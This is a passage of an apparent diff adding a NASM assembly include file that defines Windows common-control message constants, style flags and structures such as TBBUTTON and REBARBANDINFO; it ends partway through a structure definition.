+%define HDF_BITMAP 2000h +%define HDM_GETITEMCOUNT HDM_FIRST+0 +%define HDM_INSERTITEM HDM_FIRST+1 +%define HDM_INSERTITEMW HDM_FIRST+10 +%define HDM_DELETEITEM HDM_FIRST+2 +%define HDM_GETITEM HDM_FIRST+3 +%define HDM_GETITEMW HDM_FIRST+11 +%define HDM_SETITEM HDM_FIRST+4 +%define HDM_SETITEMW HDM_FIRST+12 +%define HDM_LAYOUT HDM_FIRST+5 +%define HHT_NOWHERE 0001h +%define HHT_ONHEADER 0002h +%define HHT_ONDIVIDER 0004h +%define HHT_ONDIVOPEN 0008h +%define HHT_ABOVE 0100h +%define HHT_BELOW 0200h +%define HHT_TORIGHT 0400h +%define HHT_TOLEFT 0800h +%define HDM_HITTEST HDM_FIRST+6 +%define HDN_ITEMCHANGING HDN_FIRST-0 +%define HDN_ITEMCHANGINGW HDN_FIRST-20 +%define HDN_ITEMCHANGED HDN_FIRST-1 +%define HDN_ITEMCHANGEDW HDN_FIRST-21 +%define HDN_ITEMCLICK HDN_FIRST-2 +%define HDN_ITEMCLICKW HDN_FIRST-22 +%define HDN_ITEMDBLCLICK HDN_FIRST-3 +%define HDN_ITEMDBLCLICKW HDN_FIRST-23 +%define HDN_DIVIDERDBLCLICK HDN_FIRST-5 +%define HDN_DIVIDERDBLCLICKW HDN_FIRST-25 +%define HDN_BEGINTRACK HDN_FIRST-6 +%define HDN_BEGINTRACKW HDN_FIRST-26 +%define HDN_ENDTRACK HDN_FIRST-7 +%define HDN_ENDTRACKW HDN_FIRST-27 +%define HDN_TRACK HDN_FIRST-8 +%define HDN_TRACKW HDN_FIRST-28 +%define CMB_MASKED 02h +%define TBSTATE_CHECKED 01h +%define TBSTATE_PRESSED 02h +%define TBSTATE_ENABLED 04h +%define TBSTATE_HIDDEN 08h +%define TBSTATE_INDETERMINATE 10h +%define TBSTATE_WRAP 20h +%define TBSTYLE_BUTTON 00h +%define TBSTYLE_SEP 01h +%define TBSTYLE_CHECK 02h +%define TBSTYLE_GROUP 04h +%define TBSTYLE_CHECKGROUP TBSTYLE_GROUP|TBSTYLE_CHECK +%define TBSTYLE_TOOLTIPS 0100h +%define TBSTYLE_WRAPABLE 0200h +%define TBSTYLE_ALTDRAG 0400h +%define TBSTYLE_FLAT 0800h +%define TBSTYLE_LIST 1000h +%define TBSTYLE_CUSTOMERASE 2000h +%define TBSTYLE_REGISTERDROP 4000h +%define TBSTYLE_TRANSPARENT 8000h +%define TB_ENABLEBUTTON WM_USER+1 +%define TB_CHECKBUTTON WM_USER+2 +%define TB_PRESSBUTTON WM_USER+3 +%define TB_HIDEBUTTON WM_USER+4 +%define TB_INDETERMINATE WM_USER+5 +%define TB_ISBUTTONENABLED WM_USER+9 +%define TB_ISBUTTONCHECKED WM_USER+10 +%define TB_ISBUTTONPRESSED WM_USER+11 +%define TB_ISBUTTONHIDDEN WM_USER+12 +%define TB_ISBUTTONINDETERMINATE WM_USER+13 +%define TB_SETSTATE WM_USER+17 +%define TB_GETSTATE WM_USER+18 +%define TB_ADDBITMAP WM_USER+19 +%define TB_SETSTYLE WM_USER+56 +%define TB_GETSTYLE WM_USER+57 +%define HINST_COMMCTRL -1 +%define IDB_STD_SMALL_COLOR 0 +%define IDB_STD_LARGE_COLOR 1 +%define IDB_VIEW_SMALL_COLOR 4 +%define IDB_VIEW_LARGE_COLOR 5 +%define STD_CUT 0 +%define STD_COPY 1 +%define STD_PASTE 2 +%define STD_UNDO 3 +%define STD_REDOW 4 +%define STD_DELETE 5 +%define STD_FILENEW 6 +%define STD_FILEOPEN 7 +%define STD_FILESAVE 8 +%define STD_PRINTPRE 9 +%define STD_PROPERTIES 10 +%define STD_HELP 11 +%define STD_FIND 12 +%define STD_REPLACE 13 +%define STD_PRINT 14 +%define VIEW_LARGEICONS 0 +%define VIEW_SMALLICONS 1 +%define VIEW_LIST 2 +%define VIEW_DETAILS 3 +%define VIEW_SORTNAME 4 +%define VIEW_SORTSIZE 5 +%define VIEW_SORTDATE 6 +%define VIEW_SORTTYPE 7 +%define VIEW_PARENTFOLDER 8 +%define VIEW_NETCONNECT 9 +%define VIEW_NETDISCONNECT 10 +%define VIEW_NEWFOLDER 11 +%define TB_ADDBUTTONS WM_USER+20 +%define TB_INSERTBUTTON WM_USER+21 +%define TB_DELETEBUTTON WM_USER+22 +%define TB_GETBUTTON WM_USER+23 +%define TB_BUTTONCOUNT WM_USER+24 +%define TB_COMMANDTOINDEX WM_USER+25 +%define TB_SAVERESTORE WM_USER+26 +%define TB_SAVERESTOREW WM_USER+76 +%define TB_CUSTOMIZE WM_USER+27 +%define TB_ADDSTRING WM_USER+28 +%define TB_ADDSTRINGW WM_USER+77 +%define TB_GETITEMRECT WM_USER+29 +%define TB_BUTTONSTRUCTSIZE WM_USER+30 +%define TB_SETBUTTONSIZE WM_USER+31 +%define TB_SETBITMAPSIZE WM_USER+32 +%define TB_AUTOSIZE WM_USER+33 +%define TB_GETTOOLTIPS WM_USER+35 +%define TB_SETTOOLTIPS WM_USER+36 +%define TB_SETPARENT WM_USER+37 +%define TB_SETROWS WM_USER+39 +%define TB_GETROWS WM_USER+40 +%define TB_SETCMDID WM_USER+42 +%define TB_CHANGEBITMAP WM_USER+43 +%define TB_GETBITMAP WM_USER+44 +%define TB_GETBUTTONTEXT WM_USER+45 +%define TB_GETBUTTONTEXTW WM_USER+75 +%define TB_REPLACEBITMAP WM_USER+46 +%define TBBF_LARGE 0001h +%define TB_GETBITMAPFLAGS WM_USER+41 +%define TBN_GETBUTTONINFO TBN_FIRST-0 +%define TBN_GETBUTTONINFOW TBN_FIRST-20 +%define TBN_BEGINDRAG TBN_FIRST-1 +%define TBN_ENDDRAG TBN_FIRST-2 +%define TBN_BEGINADJUST TBN_FIRST-3 +%define TBN_ENDADJUST TBN_FIRST-4 +%define TBN_RESET TBN_FIRST-5 +%define TBN_QUERYINSERT TBN_FIRST-6 +%define TBN_QUERYDELETE TBN_FIRST-7 +%define TBN_TOOLBARCHANGE TBN_FIRST-8 +%define TBN_CUSTHELP TBN_FIRST-9 +%define TTS_ALWAYSTIP 01h +%define TTS_NOPREFIX 02h +%define TTF_IDISHWND 01h +%define TTF_CENTERTIP 02h +%define TTF_RTLREADING 04h +%define TTF_SUBCLASS 10h +%define TTDT_AUTOMATIC 0 +%define TTDT_RESHOW 1 +%define TTDT_AUTOPOP 2 +%define TTDT_INITIAL 3 +%define TTM_ACTIVATE WM_USER+1 +%define TTM_SETDELAYTIME WM_USER+3 +%define TTM_ADDTOOL WM_USER+4 +%define TTM_ADDTOOLW WM_USER+50 +%define TTM_DELTOOL WM_USER+5 +%define TTM_DELTOOLW WM_USER+51 +%define TTM_NEWTOOLRECT WM_USER+6 +%define TTM_NEWTOOLRECTW WM_USER+52 +%define TTM_RELAYEVENT WM_USER+7 +%define TTM_GETTOOLINFO WM_USER+8 +%define TTM_GETTOOLINFOW WM_USER+53 +%define TTM_SETTOOLINFO WM_USER+9 +%define TTM_SETTOOLINFOW WM_USER+54 +%define TTM_HITTEST WM_USER+10 +%define TTM_HITTESTW WM_USER+55 +%define TTM_GETTEXT WM_USER+11 +%define TTM_GETTEXTW WM_USER+56 +%define TTM_UPDATETIPTEXT WM_USER+12 +%define TTM_UPDATETIPTEXTW WM_USER+57 +%define TTM_GETTOOLCOUNT WM_USER+13 +%define TTM_ENUMTOOLS WM_USER+14 +%define TTM_ENUMTOOLSW WM_USER+58 +%define TTM_GETCURRENTTOOL WM_USER+15 +%define TTM_GETCURRENTTOOLW WM_USER+59 +%define TTM_WINDOWFROMPOINT WM_USER+16 +%define TTN_NEEDTEXT TTN_FIRST-0 +%define TTN_NEEDTEXTW TTN_FIRST-10 +%define TTN_SHOW TTN_FIRST-1 +%define TTN_POP TTN_FIRST-2 +%define SBARS_SIZEGRIP 0100h +%define SB_SETTEXT WM_USER+1 +%define SB_SETTEXTW WM_USER+11 +%define SB_GETTEXT WM_USER+2 +%define SB_GETTEXTW WM_USER+13 +%define SB_GETTEXTLENGTH WM_USER+3 +%define SB_GETTEXTLENGTHW WM_USER+12 +%define SB_SETPARTS WM_USER+4 +%define SB_GETPARTS WM_USER+6 +%define SB_GETBORDERS WM_USER+7 +%define SB_SETMINHEIGHT WM_USER+8 +%define SB_SIMPLE WM_USER+9 +%define SB_GETRECT WM_USER+10 +%define SBT_OWNERDRAW 1000h +%define SBT_NOBORDERS 0100h +%define SBT_POPOUT 0200h +%define SBT_RTLREADING 0400h +%define MINSYSCOMMAND SC_SIZE +%define TBS_AUTOTICKS 0001h +%define TBS_VERT 0002h +%define TBS_HORZ 0000h +%define TBS_TOP 0004h +%define TBS_BOTTOM 0000h +%define TBS_LEFT 0004h +%define TBS_RIGHT 0000h +%define TBS_BOTH 0008h +%define TBS_NOTICKS 0010h +%define TBS_ENABLESELRANGE 0020h +%define TBS_FIXEDLENGTH 0040h +%define TBS_NOTHUMB 0080h +%define TBM_GETPOS WM_USER +%define TBM_GETRANGEMIN WM_USER+1 +%define TBM_GETRANGEMAX WM_USER+2 +%define TBM_GETTIC WM_USER+3 +%define TBM_SETTIC WM_USER+4 +%define TBM_SETPOS WM_USER+5 +%define TBM_SETRANGE WM_USER+6 +%define TBM_SETRANGEMIN WM_USER+7 +%define TBM_SETRANGEMAX WM_USER+8 +%define TBM_CLEARTICS WM_USER+9 +%define TBM_SETSEL WM_USER+10 +%define TBM_SETSELSTART WM_USER+11 +%define TBM_SETSELEND WM_USER+12 +%define TBM_GETPTICS WM_USER+14 +%define TBM_GETTICPOS WM_USER+15 +%define TBM_GETNUMTICS WM_USER+16 +%define TBM_GETSELSTART WM_USER+17 +%define TBM_GETSELEND WM_USER+18 +%define TBM_CLEARSEL WM_USER+19 +%define TBM_SETTICFREQ WM_USER+20 +%define TBM_SETPAGESIZE WM_USER+21 +%define TBM_GETPAGESIZE WM_USER+22 +%define TBM_SETLINESIZE WM_USER+23 +%define TBM_GETLINESIZE WM_USER+24 +%define TBM_GETTHUMBRECT WM_USER+25 +%define TBM_GETCHANNELRECT WM_USER+26 +%define TBM_SETTHUMBLENGTH WM_USER+27 +%define TBM_GETTHUMBLENGTH WM_USER+28 +%define TB_LINEUP 0 +%define TB_LINEDOWN 1 +%define TB_PAGEUP 2 +%define TB_PAGEDOWN 3 +%define TB_THUMBPOSITION 4 +%define TB_THUMBTRACK 5 +%define TB_TOP 6 +%define TB_BOTTOM 7 +%define TB_ENDTRACK 8 +%define DL_BEGINDRAG WM_USER+133 +%define DL_DRAGGING WM_USER+134 +%define DL_DROPPED WM_USER+135 +%define DL_CANCELDRAG WM_USER+136 +%define DL_CURSORSET 0 +%define DL_STOPCURSOR 1 +%define DL_COPYCURSOR 2 +%define DL_MOVECURSOR 3 +%define UD_MAXVAL 7FFFh +%define UD_MINVAL -UD_MAXVAL +%define UDS_WRAP 0001h +%define UDS_SETBUDDYINT 0002h +%define UDS_ALIGNRIGHT 0004h +%define UDS_ALIGNLEFT 0008h +%define UDS_AUTOBUDDY 0010h +%define UDS_ARROWKEYS 0020h +%define UDS_HORZ 0040h +%define UDS_NOTHOUSANDS 0080h +%define UDM_SETRANGE WM_USER+101 +%define UDM_GETRANGE WM_USER+102 +%define UDM_SETPOS WM_USER+103 +%define UDM_GETPOS WM_USER+104 +%define UDM_SETBUDDY WM_USER+105 +%define UDM_GETBUDDY WM_USER+106 +%define UDM_SETACCEL WM_USER+107 +%define UDM_GETACCEL WM_USER+108 +%define UDM_SETBASE WM_USER+109 +%define UDM_GETBASE WM_USER+110 +%define UDN_DELTAPOS UDN_FIRST-1 +%define PBM_SETRANGE WM_USER+1 +%define PBM_SETPOS WM_USER+2 +%define PBM_DELTAPOS WM_USER+3 +%define PBM_SETSTEP WM_USER+4 +%define PBM_STEPIT WM_USER+5 +%define HOTKEYF_SHIFT 01h +%define HOTKEYF_CONTROL 02h +%define HOTKEYF_ALT 04h +%define HOTKEYF_EXT 08h +%define HKCOMB_NONE 0001h +%define HKCOMB_S 0002h +%define HKCOMB_C 0004h +%define HKCOMB_A 0008h +%define HKCOMB_SC 0010h +%define HKCOMB_SA 0020h +%define HKCOMB_CA 0040h +%define HKCOMB_SCA 0080h +%define HKM_SETHOTKEY WM_USER+1 +%define HKM_GETHOTKEY WM_USER+2 +%define HKM_SETRULES WM_USER+3 +%define LVS_ICON 0000h +%define LVS_REPORT 0001h +%define LVS_SMALLICON 0002h +%define LVS_LIST 0003h +%define LVS_TYPEMASK 0003h +%define LVS_SINGLESEL 0004h +%define LVS_SHOWSELALWAYS 0008h +%define LVS_SORTASCENDING 0010h +%define LVS_SORTDESCENDING 0020h +%define LVS_SHAREIMAGELISTS 0040h +%define LVS_NOLABELWRAP 0080h +%define LVS_AUTOARRANGE 0100h +%define LVS_EDITLABELS 0200h +%define LVS_NOSCROLL 2000h +%define LVS_TYPESTYLEMASK 0fc00h +%define LVS_ALIGNTOP 0000h +%define LVS_ALIGNLEFT 0800h +%define LVS_ALIGNMASK 0c00h +%define LVS_OWNERDRAWFIXED 0400h +%define LVS_NOCOLUMNHEADER 4000h +%define LVS_NOSORTHEADER 8000h +%define LVM_GETBKCOLOR LVM_FIRST+0 +%define LVM_SETBKCOLOR LVM_FIRST+1 +%define LVM_GETIMAGELIST LVM_FIRST+2 +%define LVSIL_NORMAL 0 +%define LVSIL_SMALL 1 +%define LVSIL_STATE 2 +%define LVM_SETIMAGELIST LVM_FIRST+3 +%define LVM_GETITEMCOUNT LVM_FIRST+4 +%define LVIF_TEXT 0001h +%define LVIF_IMAGE 0002h +%define LVIF_PARAM 0004h +%define LVIF_STATE 0008h +%define LVIS_FOCUSED 0001h +%define LVIS_SELECTED 0002h +%define LVIS_CUT 0004h +%define LVIS_DROPHILITED 0008h +%define LVIS_OVERLAYMASK 0F00h +%define LVIS_STATEIMAGEMASK 0F000h +%define LPSTR_TEXTCALLBACKW -1 +%define LPSTR_TEXTCALLBACK -1 +%define I_IMAGECALLBACK -1 +%define LVM_GETITEM LVM_FIRST+5 +%define LVM_GETITEMW LVM_FIRST+75 +%define LVM_SETITEM LVM_FIRST+6 +%define LVM_SETITEMW LVM_FIRST+76 +%define LVM_INSERTITEM LVM_FIRST+7 +%define LVM_INSERTITEMW LVM_FIRST+77 +%define LVM_DELETEITEM LVM_FIRST+8 +%define LVM_DELETEALLITEMS LVM_FIRST+9 +%define LVM_GETCALLBACKMASK LVM_FIRST+10 +%define LVM_SETCALLBACKMASK LVM_FIRST+11 +%define LVNI_ALL 0000h +%define LVNI_FOCUSED 0001h +%define LVNI_SELECTED 0002h +%define LVNI_CUT 0004h +%define LVNI_DROPHILITED 0008h +%define LVNI_ABOVE 0100h +%define LVNI_BELOW 0200h +%define LVNI_TOLEFT 0400h +%define LVNI_TORIGHT 0800h +%define LVM_GETNEXTITEM LVM_FIRST+12 +%define LVFI_PARAM 0001h +%define LVFI_STRING 0002h +%define LVFI_PARTIAL 0008h +%define LVFI_WRAP 0020h +%define LVFI_NEARESTXY 0040h +%define LVM_FINDITEM LVM_FIRST+13 +%define LVM_FINDITEMW LVM_FIRST+83 +%define LVIR_BOUNDS 0 +%define LVIR_ICON 1 +%define LVIR_LABEL 2 +%define LVIR_SELECTBOUNDS 3 +%define LVM_GETITEMRECT LVM_FIRST+14 +%define LVM_SETITEMPOSITION LVM_FIRST+15 +%define LVM_GETITEMPOSITION LVM_FIRST+16 +%define LVM_GETSTRINGWIDTH LVM_FIRST+17 +%define LVM_GETSTRINGWIDTHW LVM_FIRST+87 +%define LVHT_NOWHERE 0001h +%define LVHT_ONITEMICON 0002h +%define LVHT_ONITEMLABEL 0004h +%define LVHT_ONITEMSTATEICON 0008h +%define LVHT_ONITEM LVHT_ONITEMICON|LVHT_ONITEMLABEL|LVHT_ONITEMSTATEICON +%define LVHT_ABOVE 0008h +%define LVHT_BELOW 0010h +%define LVHT_TORIGHT 0020h +%define LVHT_TOLEFT 0040h +%define LVM_HITTEST LVM_FIRST+18 +%define LVM_ENSUREVISIBLE LVM_FIRST+19 +%define LVM_SCROLL LVM_FIRST+20 +%define LVM_REDRAWITEMS LVM_FIRST+21 +%define LVA_DEFAULT 0000h +%define LVA_ALIGNLEFT 0001h +%define LVA_ALIGNTOP 0002h +%define LVA_SNAPTOGRID 0005h +%define LVM_ARRANGE LVM_FIRST+22 +%define LVM_EDITLABEL LVM_FIRST+23 +%define LVM_EDITLABELW LVM_FIRST+118 +%define LVM_GETEDITCONTROL LVM_FIRST+24 +%define LVCF_FMT 0001h +%define LVCF_WIDTH 0002h +%define LVCF_TEXT 0004h +%define LVCF_SUBITEM 0008h +%define LVCFMT_LEFT 0000h +%define LVCFMT_RIGHT 0001h +%define LVCFMT_CENTER 0002h +%define LVCFMT_JUSTIFYMASK 0003h +%define LVM_GETCOLUMN LVM_FIRST+25 +%define LVM_GETCOLUMNW LVM_FIRST+95 +%define LVM_SETCOLUMN LVM_FIRST+26 +%define LVM_SETCOLUMNW LVM_FIRST+96 +%define LVM_INSERTCOLUMN LVM_FIRST+27 +%define LVM_INSERTCOLUMNW LVM_FIRST+97 +%define LVM_DELETECOLUMN LVM_FIRST+28 +%define LVM_GETCOLUMNWIDTH LVM_FIRST+29 +%define LVSCW_AUTOSIZE -1 +%define LVSCW_AUTOSIZE_USEHEADER -2 +%define LVM_SETCOLUMNWIDTH LVM_FIRST+30 +%define LVM_CREATEDRAGIMAGE LVM_FIRST+33 +%define LVM_GETVIEWRECT LVM_FIRST+34 +%define LVM_GETTEXTCOLOR LVM_FIRST+35 +%define LVM_SETTEXTCOLOR LVM_FIRST+36 +%define LVM_GETTEXTBKCOLOR LVM_FIRST+37 +%define LVM_SETTEXTBKCOLOR LVM_FIRST+38 +%define LVM_GETTOPINDEX LVM_FIRST+39 +%define LVM_GETCOUNTPERPAGE LVM_FIRST+40 +%define LVM_GETORIGIN LVM_FIRST+41 +%define LVM_UPDATE LVM_FIRST+42 +%define LVM_SETITEMSTATE LVM_FIRST+43 +%define LVM_GETITEMSTATE LVM_FIRST+44 +%define LVM_GETITEMTEXT LVM_FIRST+45 +%define LVM_GETITEMTEXTW LVM_FIRST+115 +%define LVM_SETITEMTEXT LVM_FIRST+46 +%define LVM_SETITEMTEXTW LVM_FIRST+116 +%define LVM_SETITEMCOUNT LVM_FIRST+47 +%define LVM_SORTITEMS LVM_FIRST+48 +%define LVM_SETITEMPOSITION32 LVM_FIRST+49 +%define LVM_GETSELECTEDCOUNT LVM_FIRST+50 +%define LVM_GETITEMSPACING LVM_FIRST+51 +%define LVM_GETISEARCHSTRING LVM_FIRST+52 +%define LVM_GETISEARCHSTRINGW LVM_FIRST+117 +%define LVN_ITEMCHANGING LVN_FIRST-0 +%define LVN_ITEMCHANGED LVN_FIRST-1 +%define LVN_INSERTITEM LVN_FIRST-2 +%define LVN_DELETEITEM LVN_FIRST-3 +%define LVN_DELETEALLITEMS LVN_FIRST-4 +%define LVN_BEGINLABELEDIT LVN_FIRST-5 +%define LVN_BEGINLABELEDITW LVN_FIRST-75 +%define LVN_ENDLABELEDIT LVN_FIRST-6 +%define LVN_ENDLABELEDITW LVN_FIRST-76 +%define LVN_COLUMNCLICK LVN_FIRST-8 +%define LVN_BEGINDRAG LVN_FIRST-9 +%define LVN_BEGINRDRAG LVN_FIRST-11 +%define LVN_GETDISPINFO LVN_FIRST-50 +%define LVN_GETDISPINFOW LVN_FIRST-77 +%define LVN_SETDISPINFO LVN_FIRST-51 +%define LVN_SETDISPINFOW LVN_FIRST-78 +%define LVIF_DI_SETITEM 1000h +%define LVN_KEYDOWN LVN_FIRST-55 +%define TVS_HASBUTTONS 0001h +%define TVS_HASLINES 0002h +%define TVS_LINESATROOT 0004h +%define TVS_EDITLABELS 0008h +%define TVS_DISABLEDRAGDROP 0010h +%define TVS_SHOWSELALWAYS 0020h +%define TVIF_TEXT 0001h +%define TVIF_IMAGE 0002h +%define TVIF_PARAM 0004h +%define TVIF_STATE 0008h +%define TVIF_HANDLE 0010h +%define TVIF_SELECTEDIMAGE 0020h +%define TVIF_CHILDREN 0040h +%define TVIS_FOCUSED 0001h +%define TVIS_SELECTED 0002h +%define TVIS_CUT 0004h +%define TVIS_DROPHILITED 0008h +%define TVIS_BOLD 0010h +%define TVIS_EXPANDED 0020h +%define TVIS_EXPANDEDONCE 0040h +%define TVIS_OVERLAYMASK 0F00h +%define TVIS_STATEIMAGEMASK 0F000h +%define TVIS_USERMASK 0F000h +%define I_CHILDRENCALLBACK -1 +%define TVI_ROOT 0FFFF0000h +%define TVI_FIRST 0FFFF0001h +%define TVI_LAST 0FFFF0002h +%define TVI_SORT 0FFFF0003h +%define TVM_INSERTITEM TV_FIRST+0 +%define TVM_INSERTITEMW TV_FIRST+50 +%define TVM_DELETEITEM TV_FIRST+1 +%define TVM_EXPAND TV_FIRST+2 +%define TVE_COLLAPSE 0001h +%define TVE_EXPAND 0002h +%define TVE_TOGGLE 0003h +%define TVE_COLLAPSERESET 8000h +%define TVM_GETITEMRECT TV_FIRST+4 +%define TVM_GETCOUNT TV_FIRST+5 +%define TVM_GETINDENT TV_FIRST+6 +%define TVM_SETINDENT TV_FIRST+7 +%define TVM_GETIMAGELIST TV_FIRST+8 +%define TVSIL_NORMAL 0 +%define TVSIL_STATE 2 +%define TVM_SETIMAGELIST TV_FIRST+9 +%define TVM_GETNEXTITEM TV_FIRST+10 +%define TVGN_ROOT 0000h +%define TVGN_NEXT 0001h +%define TVGN_PREVIOUS 0002h +%define TVGN_PARENT 0003h +%define TVGN_CHILD 0004h +%define TVGN_FIRSTVISIBLE 0005h +%define TVGN_NEXTVISIBLE 0006h +%define TVGN_PREVIOUSVISIBLE 0007h +%define TVGN_DROPHILITE 0008h +%define TVGN_CARET 0009h +%define TVM_SELECTITEM TV_FIRST+11 +%define TVM_GETITEM TV_FIRST+12 +%define TVM_GETITEMW TV_FIRST+62 +%define TVM_SETITEM TV_FIRST+13 +%define TVM_SETITEMW TV_FIRST+63 +%define TVM_EDITLABEL TV_FIRST+14 +%define TVM_EDITLABELW TV_FIRST+65 +%define TVM_GETEDITCONTROL TV_FIRST+15 +%define TVM_GETVISIBLECOUNT TV_FIRST+16 +%define TVM_HITTEST TV_FIRST+17 +%define TVHT_NOWHERE 0001h +%define TVHT_ONITEMICON 0002h +%define TVHT_ONITEMLABEL 0004h +%define TVHT_ONITEMSTATEICON 0040h +%define TVHT_ONITEM TVHT_ONITEMICON|TVHT_ONITEMLABEL|TVHT_ONITEMSTATEICON +%define TVHT_ONITEMINDENT 0008h +%define TVHT_ONITEMBUTTON 0010h +%define TVHT_ONITEMRIGHT 0020h +%define TVHT_ABOVE 0100h +%define TVHT_BELOW 0200h +%define TVHT_TORIGHT 0400h +%define TVHT_TOLEFT 0800h +%define TVM_CREATEDRAGIMAGE TV_FIRST+18 +%define TVM_SORTCHILDREN TV_FIRST+19 +%define TVM_ENSUREVISIBLE TV_FIRST+20 +%define TVM_SORTCHILDRENCB TV_FIRST+21 +%define TVM_ENDEDITLABELNOW TV_FIRST+22 +%define TVM_GETISEARCHSTRING TV_FIRST+23 +%define TVM_GETISEARCHSTRINGW TV_FIRST+64 +%define TVN_SELCHANGINGA TVN_FIRST-1 +%define TVN_SELCHANGINGW TVN_FIRST-50 +%define TVN_SELCHANGEDA TVN_FIRST-2 +%define TVN_SELCHANGEDW TVN_FIRST-51 +%define TVC_UNKNOWN 0000h +%define TVC_BYMOUSE 0001h +%define TVC_BYKEYBOARD 0002h +%define TVN_GETDISPINFOA TVN_FIRST-3 +%define TVN_GETDISPINFOW TVN_FIRST-52 +%define TVN_SETDISPINFOA TVN_FIRST-4 +%define TVN_SETDISPINFOW TVN_FIRST-53 +%define TVIF_DI_SETITEM 1000h +%define TVN_ITEMEXPANDING TVN_FIRST-5 +%define TVN_ITEMEXPANDINGW TVN_FIRST-54 +%define TVN_ITEMEXPANDED TVN_FIRST-6 +%define TVN_ITEMEXPANDEDW TVN_FIRST-55 +%define TVN_BEGINDRAG TVN_FIRST-7 +%define TVN_BEGINDRAGW TVN_FIRST-56 +%define TVN_BEGINRDRAG TVN_FIRST-8 +%define TVN_BEGINRDRAGW TVN_FIRST-57 +%define TVN_DELETEITEM TVN_FIRST-9 +%define TVN_DELETEITEMW TVN_FIRST-58 +%define TVN_BEGINLABELEDIT TVN_FIRST-10 +%define TVN_BEGINLABELEDITW TVN_FIRST-59 +%define TVN_ENDLABELEDIT TVN_FIRST-11 +%define TVN_ENDLABELEDITW TVN_FIRST-60 +%define TVN_KEYDOWN TVN_FIRST-12 +%define TCS_FORCEICONLEFT 0010h +%define TCS_FORCELABELLEFT 0020h +%define TCS_TABS 0000h +%define TCS_BUTTONS 0100h +%define TCS_SINGLELINE 0000h +%define TCS_MULTILINE 0200h +%define TCS_RIGHTJUSTIFY 0000h +%define TCS_FIXEDWIDTH 0400h +%define TCS_RAGGEDRIGHT 0800h +%define TCS_FOCUSONBUTTONDOWN 1000h +%define TCS_OWNERDRAWFIXED 2000h +%define TCS_TOOLTIPS 4000h +%define TCS_FOCUSNEVER 8000h +%define TCM_FIRST 1300h +%define TCM_GETIMAGELIST TCM_FIRST+2 +%define TCM_SETIMAGELIST TCM_FIRST+3 +%define TCM_GETITEMCOUNT TCM_FIRST+4 +%define TCIF_TEXT 0001h +%define TCIF_IMAGE 0002h +%define TCIF_RTLREADING 0004h +%define TCIF_PARAM 0008h +%define TCM_GETITEM TCM_FIRST+5 +%define TCM_SETITEM TCM_FIRST+6 +%define TCM_SETITEMW TCM_FIRST+61 +%define TCM_INSERTITEM TCM_FIRST+7 +%define TCM_INSERTITEMW TCM_FIRST+62 +%define TCM_DELETEITEM TCM_FIRST+8 +%define TCM_DELETEALLITEMS TCM_FIRST+9 +%define TCM_GETITEMRECT TCM_FIRST+10 +%define TCM_GETCURSEL TCM_FIRST+11 +%define TCM_SETCURSEL TCM_FIRST+12 +%define TCHT_NOWHERE 0001h +%define TCHT_ONITEMICON 0002h +%define TCHT_ONITEMLABEL 0004h +%define TCHT_ONITEM TCHT_ONITEMICON|TCHT_ONITEMLABEL +%define TCM_HITTEST TCM_FIRST+13 +%define TCM_SETITEMEXTRA TCM_FIRST+14 +%define TCM_ADJUSTRECT TCM_FIRST+40 +%define TCM_SETITEMSIZE TCM_FIRST+41 +%define TCM_REMOVEIMAGE TCM_FIRST+42 +%define TCM_SETPADDING TCM_FIRST+43 +%define TCM_GETROWCOUNT TCM_FIRST+44 +%define TCM_GETTOOLTIPS TCM_FIRST+45 +%define TCM_SETTOOLTIPS TCM_FIRST+46 +%define TCM_GETCURFOCUS TCM_FIRST+47 +%define TCM_SETCURFOCUS TCM_FIRST+48 +%define TCN_KEYDOWN TCN_FIRST-0 +%define TCN_SELCHANGE TCN_FIRST-1 +%define TCN_SELCHANGING TCN_FIRST-2 +%define ACS_CENTER 0001h +%define ACS_TRANSPARENT 0002h +%define ACS_AUTOPLAY 0004h +%define ACM_OPEN WM_USER+100 +%define ACM_OPENW WM_USER+103 +%define ACM_PLAY WM_USER+101 +%define ACM_STOP WM_USER+102 +%define ACN_START 1 +%define ACN_STOP 2 +;-------------------------comctl structures------------------------------ +STRUC INIT_COMMON_CONTROLSEX +.dwSize RESD 1 +.dwICC RESD 1 +ENDSTRUC + +STRUC REBARINFO +.cbSize RESD 1 +.fMask RESD 1 +.himl RESD 1 +ENDSTRUC + +STRUC REBARBANDINFO +.cbSize RESD 1 +.fMask RESD 1 +.fStyle RESD 1 +.clrFore RESD 1 +.clrBack RESD 1 +.lpText RESD 1 +.cch RESD 1 +.iImage RESD 1 +.hwndChild RESD 1 +.cxMinChild RESD 1 +.cyMinChild RESD 1 +.lx RESD 1 +.hbmBack RESD 1 +.wID RESD 1 +.cyChild RESD 1 +.cyMaxChild RESD 1 +.cyIntegral RESD 1 +.cxIdeal RESD 1 +.lParam RESD 1 +.cxHeader RESD 1 +ENDSTRUC + +STRUC NMREBARCHILDSIZE +.hdr RESB NMHDR_size +.uBand RESD 1 +.wID RESD 1 +.rcChild RESB RECT_size +.rcBand RESB RECT_size +ENDSTRUC + +STRUC NMREBAR +.hdr RESB NMHDR_size +.dwMask RESD 1 +.uBand RESD 1 +.fStyle RESD 1 +.wID RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC NMRBAUTOSIZE +.hdr RESB NMHDR_size +.fChanged RESD 1 +.rcTarget RESB RECT_size +.rcActual RESB RECT_size +ENDSTRUC + +STRUC RB_HITTESTINFO +.pt RESB POINT_size +.flags RESD 1 +.iBand RESW 1 +ENDSTRUC + +STRUC IMAGEINFO +.hbmImage RESD 1 +.hbmMask RESD 1 +.Unused1 RESD 1 +.Unused2 RESD 1 +.rcImage RESB RECT_size +ENDSTRUC + +STRUC HD_ITEM +.imask RESD 1 +.lxy RESD 1 +.pszText RESD 1 +.hbm RESD 1 +.cchTextMax RESD 1 +.fmt RESD 1 +.lParam RESD 1 +ENDSTRUC + +STRUC HD_LAYOUT +.prc RESD 1 +.pwpos RESD 1 +ENDSTRUC + +STRUC HD_HITTESTINFO +.pt RESB POINT_size +.flags RESD 1 +.iItem RESD 1 +ENDSTRUC + +STRUC HD_NOTIFY +.hdr RESB NMHDR_size +.iItem RESD 1 +.iButton RESD 1 +.pitem RESD 1 +ENDSTRUC + +STRUC TBBUTTON +.iBitmap RESD 1 +.idCommand RESD 1 +.fsState RESB 1 +.fsStyle RESB 1 +.dwData RESD 1 +.iString RESD 1 +ENDSTRUC + +STRUC ColorMap +.cmFrom RESD 1 +.cmTo RESD 1 +ENDSTRUC + +STRUC TBADDBITMAP +.hInst RESD 1 +.nId RESD 1 +ENDSTRUC + +STRUC TBSAVEPARAMS +.hkr RESD 1 +.pszSubKey RESD 1 